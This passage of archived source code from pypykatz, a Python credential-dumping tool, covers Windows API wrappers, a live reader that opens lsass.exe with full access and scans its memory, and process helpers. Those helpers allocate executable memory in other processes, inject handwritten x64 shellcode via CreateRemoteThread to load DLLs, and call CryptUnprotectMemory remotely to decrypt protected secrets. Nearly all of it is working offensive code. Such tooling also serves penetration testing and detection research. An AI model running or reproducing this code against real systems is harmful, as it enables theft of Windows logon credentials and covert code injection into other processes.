L{NTDDI_VERSION}, contains the OS major and minor version number. WINVER = NTDDI_VERSION >> 16 #--- version.dll -------------------------------------------------------------- VS_FF_DEBUG = 0x00000001 VS_FF_PRERELEASE = 0x00000002 VS_FF_PATCHED = 0x00000004 VS_FF_PRIVATEBUILD = 0x00000008 VS_FF_INFOINFERRED = 0x00000010 VS_FF_SPECIALBUILD = 0x00000020 VOS_UNKNOWN = 0x00000000 VOS__WINDOWS16 = 0x00000001 VOS__PM16 = 0x00000002 VOS__PM32 = 0x00000003 VOS__WINDOWS32 = 0x00000004 VOS_DOS = 0x00010000 VOS_OS216 = 0x00020000 VOS_OS232 = 0x00030000 VOS_NT = 0x00040000 VOS_DOS_WINDOWS16 = 0x00010001 VOS_DOS_WINDOWS32 = 0x00010004 VOS_NT_WINDOWS32 = 0x00040004 VOS_OS216_PM16 = 0x00020002 VOS_OS232_PM32 = 0x00030003 VFT_UNKNOWN = 0x00000000 VFT_APP = 0x00000001 VFT_DLL = 0x00000002 VFT_DRV = 0x00000003 VFT_FONT = 0x00000004 VFT_VXD = 0x00000005 VFT_RESERVED = 0x00000006 # undocumented VFT_STATIC_LIB = 0x00000007 VFT2_UNKNOWN = 0x00000000 VFT2_DRV_PRINTER = 0x00000001 VFT2_DRV_KEYBOARD = 0x00000002 VFT2_DRV_LANGUAGE = 0x00000003 VFT2_DRV_DISPLAY = 0x00000004 VFT2_DRV_MOUSE = 0x00000005 VFT2_DRV_NETWORK = 0x00000006 VFT2_DRV_SYSTEM = 0x00000007 VFT2_DRV_INSTALLABLE = 0x00000008 VFT2_DRV_SOUND = 0x00000009 VFT2_DRV_COMM = 0x0000000A VFT2_DRV_RESERVED = 0x0000000B # undocumented VFT2_DRV_VERSIONED_PRINTER = 0x0000000C VFT2_FONT_RASTER = 0x00000001 VFT2_FONT_VECTOR = 0x00000002 VFT2_FONT_TRUETYPE = 0x00000003 # typedef struct tagVS_FIXEDFILEINFO { # DWORD dwSignature; # DWORD dwStrucVersion; # DWORD dwFileVersionMS; # DWORD dwFileVersionLS; # DWORD dwProductVersionMS; # DWORD dwProductVersionLS; # DWORD dwFileFlagsMask; # DWORD dwFileFlags; # DWORD dwFileOS; # DWORD dwFileType; # DWORD dwFileSubtype; # DWORD dwFileDateMS; # DWORD dwFileDateLS; # } VS_FIXEDFILEINFO; class VS_FIXEDFILEINFO(Structure): _fields_ = [ ("dwSignature", DWORD), ("dwStrucVersion", DWORD), ("dwFileVersionMS", DWORD), ("dwFileVersionLS", DWORD), ("dwProductVersionMS", DWORD), ("dwProductVersionLS", DWORD), ("dwFileFlagsMask", DWORD), ("dwFileFlags", DWORD), ("dwFileOS", DWORD), ("dwFileType", DWORD), ("dwFileSubtype", DWORD), ("dwFileDateMS", DWORD), ("dwFileDateLS", DWORD), ] PVS_FIXEDFILEINFO = POINTER(VS_FIXEDFILEINFO) LPVS_FIXEDFILEINFO = PVS_FIXEDFILEINFO # BOOL WINAPI GetFileVersionInfo( # _In_ LPCTSTR lptstrFilename, # _Reserved_ DWORD dwHandle, # _In_ DWORD dwLen, # _Out_ LPVOID lpData # ); # DWORD WINAPI GetFileVersionInfoSize( # _In_ LPCTSTR lptstrFilename, # _Out_opt_ LPDWORD lpdwHandle # ); def GetFileVersionInfoA(lptstrFilename): _GetFileVersionInfoA = windll.version.GetFileVersionInfoA _GetFileVersionInfoA.argtypes = [LPSTR, DWORD, DWORD, LPVOID] _GetFileVersionInfoA.restype = bool _GetFileVersionInfoA.errcheck = RaiseIfZero _GetFileVersionInfoSizeA = windll.version.GetFileVersionInfoSizeA _GetFileVersionInfoSizeA.argtypes = [LPSTR, LPVOID] _GetFileVersionInfoSizeA.restype = DWORD _GetFileVersionInfoSizeA.errcheck = RaiseIfZero dwLen = _GetFileVersionInfoSizeA(lptstrFilename, None) lpData = ctypes.create_string_buffer(dwLen) _GetFileVersionInfoA(lptstrFilename, 0, dwLen, byref(lpData)) return lpData def GetFileVersionInfoW(lptstrFilename): _GetFileVersionInfoW = windll.version.GetFileVersionInfoW _GetFileVersionInfoW.argtypes = [LPWSTR, DWORD, DWORD, LPVOID] _GetFileVersionInfoW.restype = bool _GetFileVersionInfoW.errcheck = RaiseIfZero _GetFileVersionInfoSizeW = windll.version.GetFileVersionInfoSizeW _GetFileVersionInfoSizeW.argtypes = [LPWSTR, LPVOID] _GetFileVersionInfoSizeW.restype = DWORD _GetFileVersionInfoSizeW.errcheck = RaiseIfZero dwLen = _GetFileVersionInfoSizeW(lptstrFilename, None) lpData = ctypes.create_string_buffer(dwLen) # not a string! _GetFileVersionInfoW(lptstrFilename, 0, dwLen, byref(lpData)) return lpData GetFileVersionInfo = GuessStringType(GetFileVersionInfoA, GetFileVersionInfoW) # BOOL WINAPI VerQueryValue( # _In_ LPCVOID pBlock, # _In_ LPCTSTR lpSubBlock, # _Out_ LPVOID *lplpBuffer, # _Out_ PUINT puLen # ); def VerQueryValueA(pBlock, lpSubBlock): _VerQueryValueA = windll.version.VerQueryValueA _VerQueryValueA.argtypes = [LPVOID, LPSTR, LPVOID, POINTER(UINT)] _VerQueryValueA.restype = bool _VerQueryValueA.errcheck = RaiseIfZero lpBuffer = LPVOID(0) uLen = UINT(0) _VerQueryValueA(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen)) return lpBuffer, uLen.value def VerQueryValueW(pBlock, lpSubBlock): _VerQueryValueW = windll.version.VerQueryValueW _VerQueryValueW.argtypes = [LPVOID, LPWSTR, LPVOID, POINTER(UINT)] _VerQueryValueW.restype = bool _VerQueryValueW.errcheck = RaiseIfZero lpBuffer = LPVOID(0) uLen = UINT(0) _VerQueryValueW(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen)) return lpBuffer, uLen.value VerQueryValue = GuessStringType(VerQueryValueA, VerQueryValueW) #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) __all__ = [_x for _x in _all if not _x.startswith('_')] __all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/winreg.py0000664000175000017500000000344014543266630024301 0ustar00webdevwebdevimport ctypes import winreg from pypykatz.commons.readers.local.common.defines import * # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeya def RegOpenKey(key_handle, key_path): _RegOpenKey = windll.Advapi32.RegOpenKeyA _RegOpenKey.argtypes = [HANDLE, LPSTR, PHANDLE] _RegOpenKey.restype = bool _RegOpenKey.errcheck = RaiseIfNotZero lpClass = ctypes.create_string_buffer(key_path.encode()) key_handle_new = HANDLE() res = _RegOpenKey(key_handle, lpClass, byref(key_handle_new)) return key_handle_new # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya def RegQueryInfoKey(key_handle): _RegQueryInfoKey = windll.Advapi32.RegQueryInfoKeyA _RegQueryInfoKey.argtypes = [HKEY, LPSTR, LPDWORD, LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,PVOID] _RegQueryInfoKey.restype = bool _RegQueryInfoKey.errcheck = RaiseIfNotZero lpClass = ctypes.create_string_buffer(b"", 255) lpcchClass = DWORD(255) lpReserved = DWORD(0) lpcSubKeys = DWORD(0) lpcbMaxSubKeyLen = DWORD(0) lpcbMaxClassLen = DWORD(0) lpcValues = DWORD(0) lpcbMaxValueNameLen = DWORD(0) lpcbMaxValueLen = DWORD(0) lpcbSecurityDescriptor = DWORD(0) lpftLastWriteTime = None res = _RegQueryInfoKey(key_handle, lpClass, lpcchClass, None, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime) return (lpClass.value, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime) if __name__ == '__main__': pkey = winreg.HKEY_LOCAL_MACHINE for name in 'SYSTEM\\ControlSet001\\Control\\Lsa\\JD'.split('\\'): pkey = RegOpenKey(pkey, name) ki = RegQueryInfoKey(pkey) print(ki[0]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/live_reader.py0000664000175000017500000003334314543266630024004 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from .common.live_reader_ctypes import * from .common.privileges import enable_debug_privilege from .common.psapi import * from .common.version import * from .common.kernel32 import * from .common.fileinfo import * from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE from pypykatz import logger import sys import copy import platform import os import ntpath import winreg class Module: def __init__(self): self.name = None self.baseaddress = None self.size = None self.endaddress = None self.pages = [] self.versioninfo = None self.checksum = None self.timestamp = None def inrange(self, addr): return self.baseaddress <= addr < self.endaddress @staticmethod def parse(name, module_info, timestamp): m = Module() m.name = name m.baseaddress = module_info.lpBaseOfDll m.size = module_info.SizeOfImage m.endaddress = m.baseaddress + m.size m.timestamp = timestamp return m def __str__(self): return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp ) class Page: def __init__(self): self.BaseAddress = None self.AllocationBase = None self.AllocationProtect = None self.RegionSize = None self.EndAddress = None self.data = None @staticmethod def parse(page_info): p = Page() p.BaseAddress = page_info.BaseAddress p.AllocationBase = page_info.AllocationBase p.AllocationProtect = page_info.AllocationProtect p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search p.EndAddress = page_info.BaseAddress + page_info.RegionSize return p def read_data(self, process_handle): self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) def inrange(self, addr): return self.BaseAddress <= addr < self.EndAddress def search(self, pattern, process_handle): if len(pattern) > self.RegionSize: return [] data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) fl = [] offset = 0 while len(data) > len(pattern): marker = data.find(pattern) if marker == -1: return fl fl.append(marker + offset + self.BaseAddress) data = data[marker+1:] offset += marker + 1 return fl def __str__(self): return '0x%08x 0x%08x %s 0x%08x' % (self.BaseAddress, self.AllocationBase, self.AllocationProtect, self.RegionSize) class BufferedLiveReader: def __init__(self, reader): self.reader = reader self.pages = [] self.current_segment = None self.current_position = None def _select_segment(self, requested_position): """ """ # check if we have semgnet for requested address in cache for page in self.pages: if page.inrange(requested_position): self.current_segment = page self.current_position = requested_position return # not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data for page in self.reader.pages: if page.inrange(requested_position): page.read_data(self.reader.process_handle) newsegment = copy.deepcopy(page) self.pages.append(newsegment) self.current_segment = newsegment self.current_position = requested_position return raise Exception('Memory address 0x%08x is not in process memory space' % requested_position) def get_reader(self): return self.reader def seek(self, offset, whence = 0): """ Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets. 0: beginning of the current memory segment 1: from current position 2: from the end of the current memory segment If you wish to move out from the segment, use the 'move' function """ if whence == 0: t = self.current_segment.BaseAddress + offset elif whence == 1: t = self.current_position + offset elif whence == 2: t = self.current_segment.EndAddress - offset else: raise Exception('Seek function whence value must be between 0-2') if not self.current_segment.inrange(t): raise Exception('Seek would cross memory segment boundaries (use move)') self.current_position = t return def move(self, address): """ Moves the buffer to a virtual address specified by address """ self._select_segment(address) return def align(self, alignment = None): """ Repositions the current reader to match architecture alignment """ if alignment is None: if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64: alignment = 8 else: alignment = 4 offset = self.current_position % alignment if offset == 0: return offset_to_aligned = (alignment - offset) % alignment self.seek(offset_to_aligned, 1) return def tell(self): """ Returns the current virtual address """ return self.current_position def peek(self, length): """ Returns up to length bytes from the current memory segment """ t = self.current_position + length if not self.current_segment.inrange(t): raise Exception('Would read over segment boundaries!') return self.current_segment.data[self.current_position - self.current_segment.BaseAddress :t - self.current_segment.BaseAddress] def read(self, size = -1): """ Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment """ if size < -1: raise Exception('You shouldnt be doing this') if size == -1: t = self.current_segment.remaining_len(self.current_position) if not t: return None old_new_pos = self.current_position self.current_position = self.current_segment.EndAddress return self.current_segment.data[old_new_pos - self.current_segment.BaseAddress:] t = self.current_position + size if not self.current_segment.inrange(t): raise Exception('Would read over segment boundaries!') old_new_pos = self.current_position self.current_position = t return self.current_segment.data[old_new_pos - self.current_segment.BaseAddress :t - self.current_segment.BaseAddress] def read_int(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian singed int on 32 bit arch Reads an 8 byte small-endian singed int on 64 bit arch """ if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64: return int.from_bytes(self.read(8), byteorder = 'little', signed = True) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = True) def read_uint(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian unsinged int on 32 bit arch Reads an 8 byte small-endian unsinged int on 64 bit arch """ if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64: return int.from_bytes(self.read(8), byteorder = 'little', signed = False) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = False) def find(self, pattern): """ Searches for a pattern in the current memory segment """ pos = self.current_segment.data.find(pattern) if pos == -1: return -1 return pos + self.current_position def find_all(self, pattern): """ Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list """ pos = [] last_found = -1 while True: last_found = self.current_segment.data.find(pattern, last_found + 1) if last_found == -1: break pos.append(last_found + self.current_segment.start_address) return pos def find_global(self, pattern): """ Searches for the pattern in the whole process memory space and returns the first occurrence. This is exhaustive! """ pos_s = self.reader.search(pattern) if len(pos_s) == 0: return -1 return pos_s[0] def find_all_global(self, pattern, allocationprotect = 0x04): """ Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins. This is exhaustive! """ return self.reader.search(pattern, allocationprotect = allocationprotect) def get_ptr(self, pos): self.move(pos) return self.read_uint() #raw_data = self.read(pos, self.sizeof_ptr) #return struct.unpack(self.unpack_ptr, raw_data)[0] def get_ptr_with_offset(self, pos): if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64: self.move(pos) ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True) return pos + 4 + ptr else: self.move(pos) return self.read_uint() def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): t = self.reader.search_module(module_name, pattern, find_first = find_first, reverse_order = reverse_order) return t class LiveReader: def __init__(self, process_handle = None, process_name='lsass.exe', process_pid = None): self.processor_architecture = None self.process_name = process_name self.process_handle = process_handle self.process_pid = process_pid self.current_position = None self.BuildNumber = None self.modules = [] self.pages = [] self.msv_dll_timestamp = None #a special place in our hearts.... self.sanity_check() self.setup() def sanity_check(self): """ Check if user is insane Windows API functions don't like when a 32 bit process is accessing a 64 bit process's memory space, Therefore you must use a 64 bit python on a 64bit Windows and a 32bit python on a 32bit Windows """ is_python_64 = sys.maxsize > 2**32 is_windows = platform.system() == 'Windows' is_windows_64 = platform.machine().endswith('64') if is_windows == False: raise Exception('This will only run on Windows') if is_windows_64 != is_python_64: raise Exception('Python interpreter must be the same architecure of the OS you are running it on.') def setup(self): logger.log(1, 'Enabling debug privilege') enable_debug_privilege() logger.log(1, 'Getting generic system info') sysinfo = GetSystemInfo() self.processor_architecture = PROCESSOR_ARCHITECTURE(sysinfo.id.w.wProcessorArchitecture) logger.log(1, 'Getting build number') #self.BuildNumber = GetVersionEx().dwBuildNumber #this one doesnt work reliably on frozen binaries :((( key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\') buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') self.BuildNumber = int(buildnumber) if self.process_handle is None: if self.process_pid is None: if self.process_name is None: raise Exception('Process name or PID or opened handle must be provided') logger.log(1, 'Searching for lsass.exe') self.process_pid = pid_for_name(self.process_name) logger.log(1, '%s found at PID %d' % (self.process_name, self.process_pid)) logger.log(1, 'Checking Lsass.exe protection status') #proc_protection_info = get_protected_process_infos(pid) #protection_msg = "Protection Status: No protection" #if proc_protection_info: # protection_msg = f"Protection Status: {proc_protection_info['type']}" # if 'signer' in proc_protection_info: # protection_msg += f" ({proc_protection_info['signer']})" # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) #logger.log(1, protection_msg) logger.log(1, 'Opening %s' % self.process_name) self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid) if self.process_handle is None: raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError()) else: logger.debug('Using pre-defined handle') logger.log(1, 'Enumerating modules') module_handles = EnumProcessModules(self.process_handle) for module_handle in module_handles: module_file_path = GetModuleFileNameExW(self.process_handle, module_handle) logger.log(1, module_file_path) timestamp = 0 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': timestamp = int(os.stat(module_file_path).st_ctime) self.msv_dll_timestamp = timestamp modinfo = GetModuleInformation(self.process_handle, module_handle) self.modules.append(Module.parse(module_file_path, modinfo, timestamp)) logger.log(1, 'Found %d modules' % len(self.modules)) current_address = sysinfo.lpMinimumApplicationAddress while current_address < sysinfo.lpMaximumApplicationAddress: page_info = VirtualQueryEx(self.process_handle, current_address) self.pages.append(Page.parse(page_info)) current_address += page_info.RegionSize logger.log(1, 'Found %d pages' % len(self.pages)) for page in self.pages: for mod in self.modules: if mod.inrange(page.BaseAddress) == True: mod.pages.append(page) def get_handler(self): return self.process_handle def get_memory(self, allocationprotect = 0x04): t = [] for page in self.pages: if page.AllocationProtect & allocationprotect: t.append(page) return t def get_buffered_reader(self): return BufferedLiveReader(self) def get_module_by_name(self, module_name): for mod in self.modules: if mod.name.lower().find(module_name.lower()) != -1: return mod return None def search_module(self, module_name, pattern, find_first = False, reverse_order = False): mod = self.get_module_by_name(module_name) if mod is None: raise Exception('Could not find module! %s' % module_name) needles = [] for page in mod.pages: needles += page.search(pattern, self.process_handle) if len(needles) > 0 and find_first is True: return needles return needles def search(self, pattern, allocationprotect = 0x04): t = [] for page in self.pages: if page.AllocationProtect & allocationprotect: t += page.search(pattern, self.process_handle) return t if __name__ == '__main__': logger.basicConfig(level=1) lr = LiveReader() blr = lr.get_buffered_reader() blr.move(0x1000) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/process.py0000664000175000017500000003645414543266630023207 0ustar00webdevwebdevfrom .common.version import * from .common.live_reader_ctypes import * from pypykatz.commons.winapi.local.function_defs.kernel32 import LoadLibraryW, GetProcAddressW, VirtualProtectEx, VirtualAllocEx, VirtualFreeEx, CreateRemoteThread from pypykatz.commons.winapi.local.function_defs.advapi32 import OpenProcessToken, DuplicateTokenEx from pypykatz import logger from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE import ntpath import os import math PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 # Token access rights TOKEN_ASSIGN_PRIMARY = 0x0001 TOKEN_DUPLICATE = 0x0002 TOKEN_IMPERSONATE = 0x0004 TOKEN_QUERY = 0x0008 TOKEN_QUERY_SOURCE = 0x0010 TOKEN_ADJUST_PRIVILEGES = 0x0020 TOKEN_ADJUST_GROUPS = 0x0040 TOKEN_ADJUST_DEFAULT = 0x0080 TOKEN_ADJUST_SESSIONID = 0x0100 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) SecurityAnonymous = 0 SecurityIdentification = 1 SecurityImpersonation = 2 SecurityDelegation = 3 TokenPrimary = 1 TokenImpersonation = 2 #dont ask me... #TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4)) class Module: def __init__(self): self.name = None self.baseaddress = None self.size = None self.endaddress = None self.pages = [] self.versioninfo = None self.checksum = None self.timestamp = None def inrange(self, addr): return self.baseaddress <= addr < self.endaddress @staticmethod def parse(name, module_info, timestamp): m = Module() m.name = name m.baseaddress = module_info.lpBaseOfDll m.size = module_info.SizeOfImage m.endaddress = m.baseaddress + m.size m.timestamp = timestamp return m def __str__(self): return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp ) class Page: def __init__(self): self.BaseAddress = None self.AllocationBase = None self.AllocationProtect = None self.RegionSize = None self.EndAddress = None self.data = None @staticmethod def parse(page_info): p = Page() p.BaseAddress = page_info.BaseAddress p.AllocationBase = page_info.AllocationBase p.AllocationProtect = page_info.AllocationProtect p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search p.EndAddress = page_info.BaseAddress + page_info.RegionSize return p def read_data(self, process_handle): self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) def inrange(self, addr): return self.BaseAddress <= addr < self.EndAddress def search(self, pattern, process_handle): if len(pattern) > self.RegionSize: return [] data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) fl = [] offset = 0 while len(data) > len(pattern): marker = data.find(pattern) if marker == -1: return fl fl.append(marker + offset + self.BaseAddress) data = data[marker+1:] class Process: def __init__(self, pid = None, name = None, access = PROCESS_ALL_ACCESS, open = True): self.pid = pid self.name = name self.access = access self.sysinfo = None self.processor_architecture = None self.phandle = None self.modules = [] self.pages = [] if open is True: self.open() def open(self): self.sysinfo = GetSystemInfo() self.processor_architecture = PROCESSOR_ARCHITECTURE(self.sysinfo.id.w.wProcessorArchitecture) if self.phandle is None: if self.pid is None: if self.name is None: raise Exception('Process name or PID or opened handle must be provided') self.pid = pid_for_name(self.name) self.phandle = OpenProcess(self.access, False, self.pid) if self.phandle is None: raise Exception('Failed to open %s(%s) Reason: %s' % (ctypes.WinError(), self.name, self.pid)) def list_modules(self): self.modules = [] module_handles = EnumProcessModules(self.phandle) for module_handle in module_handles: module_file_path = GetModuleFileNameExW(self.phandle, module_handle) logger.log(1, module_file_path) timestamp = 0 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': timestamp = int(os.stat(module_file_path).st_ctime) self.msv_dll_timestamp = timestamp modinfo = GetModuleInformation(self.phandle, module_handle) self.modules.append(Module.parse(module_file_path, modinfo, timestamp)) return self.modules def list_pages(self): self.pages = [] current_address = self.sysinfo.lpMinimumApplicationAddress while current_address < self.sysinfo.lpMaximumApplicationAddress: page_info = VirtualQueryEx(self.phandle, current_address) self.pages.append(Page.parse(page_info)) current_address += page_info.RegionSize def page_find_for_addr(self, addr): self.list_pages() selected_page = None for page in self.pages: if page.inrange(addr): selected_page = page if selected_page is None: raise Exception('Address not found in pages!') return selected_page def page_change_protect(self, addr, flags = PAGE_EXECUTE_READWRITE): selected_page = self.page_find_for_addr(addr) return VirtualProtectEx(self.phandle, selected_page.BaseAddress, selected_page.RegionSize, flags) def page_alloc(self, size, addr = 0, allocation_type = MEM_COMMIT | MEM_RESERVE, allocation_protect = PAGE_EXECUTE_READWRITE): return VirtualAllocEx(self.phandle, lpAddress = addr, dwSize = size, flAllocationType = allocation_type, flProtect = allocation_protect) def page_free(self, addr, free_type = MEM_RELEASE): selected_page = self.page_find_for_addr(addr) dwsize = 0 if free_type == MEM_RELEASE else selected_page.RegionSize return VirtualFreeEx(self.phandle, selected_page.BaseAddress, dwsize, dwFreeType = free_type) def read(self, pos, amount): return ReadProcessMemory(self.phandle, pos, amount) def write(self, pos, buffer): return WriteProcessMemory(self.phandle, pos, buffer) def create_thread(self, start_addr): return CreateRemoteThread(self.phandle, None, 0, start_addr, None, 0) def find_module_by_name(self, module_name): if len(self.modules) == 0: self.list_modules() for module in self.modules: #print(module.name) if module.name.lower().find(module_name.lower()) != -1: #print('Found remote DLL!') return module def get_remote_function_addr(self, dll_name, function_name, force_load = False): module_handle = LoadLibraryW(dll_name) #print(module_handle) function_addr_total = GetProcAddressW(module_handle, function_name) #print('function_addr %s' % hex(function_addr_total)) modinfo = GetModuleInformation(GetCurrentProcess(), module_handle) module = Module.parse(dll_name, modinfo, None) function_addr_offset = module.baseaddress - function_addr_total #print('function_addr_offset %s' % hex(function_addr_offset)) module = self.find_module_by_name(dll_name) if module is None: if force_load is True: self.load_dll(dll_name) self.list_modules() module = self.find_module_by_name(dll_name) if module is None: return None return module.baseaddress - function_addr_offset @staticmethod def int_to_asm(x, bitsize = 64): return x.to_bytes(bitsize//8, byteorder = 'little', signed = False) def invoke_remote_function(self, enclave, fnc_addr, p1_addr, p2_addr, p3_addr, exitthread_addr): #https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160 #https://defuse.ca/online-x86-assembler.htm#disassembly #p1_addr = 0 #p2_addr = 0 #p3_addr = 0 #fnc_addr = 0 #first_param p1 = b'\x48\xb9' + Process.int_to_asm(p1_addr) # MOVABS RCX, #second_param p2 = b'\x48\xba' + Process.int_to_asm(p2_addr) # MOVABS RDX, #third_param p3 = b'\x49\xb8' + Process.int_to_asm(p3_addr) # MOVABS R8, #load function address to RAX fnc = b'\x48\xb8' + Process.int_to_asm(fnc_addr) # MOVABS RAX, #CALL function address (in RAX) call_fnc = b'\xff\xd0' # CALL RAX exit_code_set = b'\x48\x89\xC1' # mov rcx, rax thread_exit_fnc = b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX, #CALL function address (in RAX) call_thread_exit_fnc = b'\xff\xd0' # CALL RAX code = p3 + p2 + p1 + fnc + call_fnc + exit_code_set + thread_exit_fnc + call_thread_exit_fnc #print('code: %s' % code.hex()) self.write(enclave, code) #input() thread_handle, thread_id = self.create_thread(enclave) #print(thread_handle) thread_exit = GetExitCodeThread(thread_handle) #print(thread_exit) def load_dll(self, dll_path): if dll_path[-1] != '\x00': dll_path += '\x00' loadlibrary_addr = self.get_remote_function_addr("Kernel32.dll", "LoadLibraryW") exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread") code_cave = self.page_alloc(2048) dllname_page = self.page_alloc(2048) self.write(dllname_page, dll_path.encode('utf-16-le')) code = b'' code += b'\x48\xb9' + Process.int_to_asm(dllname_page) # MOVABS RCX, code += b'\x48\xb8' + Process.int_to_asm(loadlibrary_addr) # MOVABS RAX, code += b'\xff\xd0' # CALL RAX code += b'' code += b'\x48\x89\xC1' # mov rcx, rax code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX, code += b'\xff\xd0' # CALL RAX self.write(code_cave, code) thread_handle, thread_id = self.create_thread(code_cave) WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish... self.page_free(code_cave) def dpapi_memory_unprotect(self, protected_blob_addr, protected_blob_size, flags = 0): protected_blob_size = 16 * math.ceil(protected_blob_size/16) return self.dpapi_memory_unprotect_x64(protected_blob_addr, protected_blob_size, flags) def dpapi_memory_unprotect_x64(self, protected_blob_addr, protected_blob_size, flags = 0): # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectmemory #CRYPTPROTECTMEMORY_SAME_PROCESS 0 #CRYPTPROTECTMEMORY_CROSS_PROCESS 1 #CRYPTPROTECTMEMORY_SAME_LOGON 2 #finding remote function addresses protectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptProtectMemory", True) unprotectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory", True) exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread") copymemory_addr = self.get_remote_function_addr("NtDll.dll", "RtlCopyMemory") #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr)) #print('exitthread_addr %s' % hex(exitthread_addr)) #print('copymemory_addr %s' % hex(copymemory_addr)) # allocating memory in remote process code_cave = self.page_alloc(1024) result_cave = self.page_alloc(protected_blob_size*10) #print('code_cave : %s' % hex(code_cave)) #print('result_cave : %s' % hex(result_cave)) #building code code = b'' code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX, code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX, code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8, code += b'\x48\xb8' + Process.int_to_asm(unprotectmemory_addr) # MOVABS RAX, code += b'\xff\xd0' # CALL RAX code += b'' code += b'\x48\xb9' + Process.int_to_asm(result_cave) # MOVABS RCX, code += b'\x48\xba' + Process.int_to_asm(protected_blob_addr) # MOVABS RDX, code += b'\x49\xb8' + Process.int_to_asm(protected_blob_size) # MOVABS R8, code += b'\x48\xb8' + Process.int_to_asm(copymemory_addr) # MOVABS RAX, code += b'\xff\xd0' # CALL RAX code += b'' code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX, code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX, code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8, code += b'\x48\xb8' + Process.int_to_asm(protectmemory_addr) # MOVABS RAX, code += b'\xff\xd0' # CALL RAX code += b'' code += b'\x48\x89\xC1' # mov rcx, rax code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX, code += b'\xff\xd0' # CALL RAX #print('code: %s' % code.hex()) self.write(code_cave, code) thread_handle, thread_id = self.create_thread(code_cave) WaitForSingleObject(thread_handle, 100) 